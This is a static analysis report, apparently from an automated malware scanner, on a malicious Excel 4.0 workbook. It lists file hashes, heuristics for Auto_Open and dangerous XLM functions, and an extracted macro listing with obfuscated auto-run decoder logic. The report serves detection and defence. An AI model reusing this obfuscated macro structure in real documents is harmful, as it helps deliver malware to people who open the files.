Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ff2e90e418ea54a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:51 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 6ee2eb5b4debad349ee0a02a7d495716 SHA-1: 851f994fe3a6fd336c536f18ea74ea0c45bb5d73 SHA-256: 3ff2e90e418ea54a8051f0897a403d7690e4b240f9df6e36e86f365caa90b0bb
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6598 bytes
SHA-256: 18641cf0e6de5d2a037c3f439a7f5d657a577c79973ad913acd8dfe94a646d1c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vKIHV
' 0018     20 LABEL : Cell Value, String Constant - AAEOT len=0 
' 0018     22 LABEL : Cell Value, String Constant - aeHATdo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C132 
' 0018     21 LABEL : Cell Value, String Constant - bjYfhh len=0 
' 0018     26 LABEL : Cell Value, String Constant - CDMKwabuagP len=0 
' 0018     22 LABEL : Cell Value, String Constant - dQkgwCR len=0 
' 0018     21 LABEL : Cell Value, String Constant - EVkeoY len=0 
' 0018     26 LABEL : Cell Value, String Constant - PTKyGdhTgEc len=0 
' 0018     24 LABEL : Cell Value, String Constant - QbpEzNChN len=0 
' 0018     27 LABEL : Cell Value, String Constant - QSLoHyrAlFfn len=0 
' 0018     23 LABEL : Cell Value, String Constant - roEJzTJn len=0 
' 0018     22 LABEL : Cell Value, String Constant - tQaDajW len=0 
' 0018     23 LABEL : Cell Value, String Constant - TuqLQDHF len=0 
' 0018     20 LABEL : Cell Value, String Constant - udVtC len=0 
' 0018     24 LABEL : Cell Value, String Constant - WIrndQnAR len=0 
' 0018     24 LABEL : Cell Value, String Constant - XMHJhvXbV len=0 
' 0018     25 LABEL : Cell Value, String Constant - YCyHcFaiTQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - YDhyw len=0 
' 0018     24 LABEL : Cell Value, String Constant - YVHmYJblx len=0 
' 0018     25 LABEL : Cell Value, String Constant - zHZrVwhggv len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZrQtzC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vKIHV,C46,"SET.NAME("XMHJhvXbV",0+VALUE("0"))",""
'  vKIHV,C49,"SET.NAME("PTKyGdhTgEc",XMHJhvXbV)",""
'  vKIHV,C54,"SET.NAME("EVkeoY",XMHJhvXbV)",""
'  vKIHV,C57,"SET.NAME("udVtC",COUNTA(bjYfhh))",""
'  vKIHV,C60,"SET.NAME("YVHmYJblx",COUNTA(zHZrVwhggv))",""
'  vKIHV,C62,[],""
'  vKIHV,C67,"SET.NAME("dQkgwCR","")",""
'  vKIHV,C69,"PTKyGdhTgEc",""
'  vKIHV,C72,"SET.NAME("tQaDajW",HLOOKUP("*",bjYfhh,PTKyGdhTgEc,FALSE))",""
'  vKIHV,C75,"YCyHcFaiTQ",""
'  vKIHV,C77,"SET.NAME("WIrndQnAR",XMHJhvXbV)",""
'  vKIHV,C82,[],""
'  vKIHV,S84,"",615.00000000000000000000
'  vKIHV,S85,"",884.00000000000000000000
'  vKIHV,S86,"",172.00000000000000000000
'  vKIHV,C87,"WIrndQnAR",""
'  vKIHV,S87,"",917.00000000000000000000
'  vKIHV,S88,"",555.00000000000000000000
'  vKIHV,C89,"YDhyw",""
'  vKIHV,S89,"",233.00000000000000000000
'  vKIHV,C94,"QSLoHyrAlFfn",""
'  vKIHV,C99,"ZrQtzC",""
'  vKIHV,C102,"SET.NAME("TuqLQDHF",VALUE(HLOOKUP("*",zHZrVwhggv,ZrQtzC,FALSE)))",""
'  vKIHV,C104,"QbpEzNChN",""
'  vKIHV,C108,"dQkgwCR",""
'  vKIHV,C111,"EVkeoY",""
'  vKIHV,C113,NEXT(),""
'  vKIHV,C115,"aeHATdo",""
'  vKIHV,C119,[],""
'  vKIHV,C123,"CDMKwabuagP",""
'  vKIHV,C126,NEXT(),""
'  vKIHV,C130,RETURN(),""
'  vKIHV,C154,"SET.NAME("AAEOT",C46)",""
'  vKIHV,C159,"bjYfhh",""
'  vKIHV,C163,"SET.NAME("zHZrVwhggv",R93C13)",""
'  vKIHV,C168,"SET.NAME("CDMKwabuagP",176)",""
'  vKIHV,C173,"SET.NAME("roEJzTJn",3)",""
'  vKIHV,C175,AAEOT(),""
'  vKIHV,C176,HALT(),""

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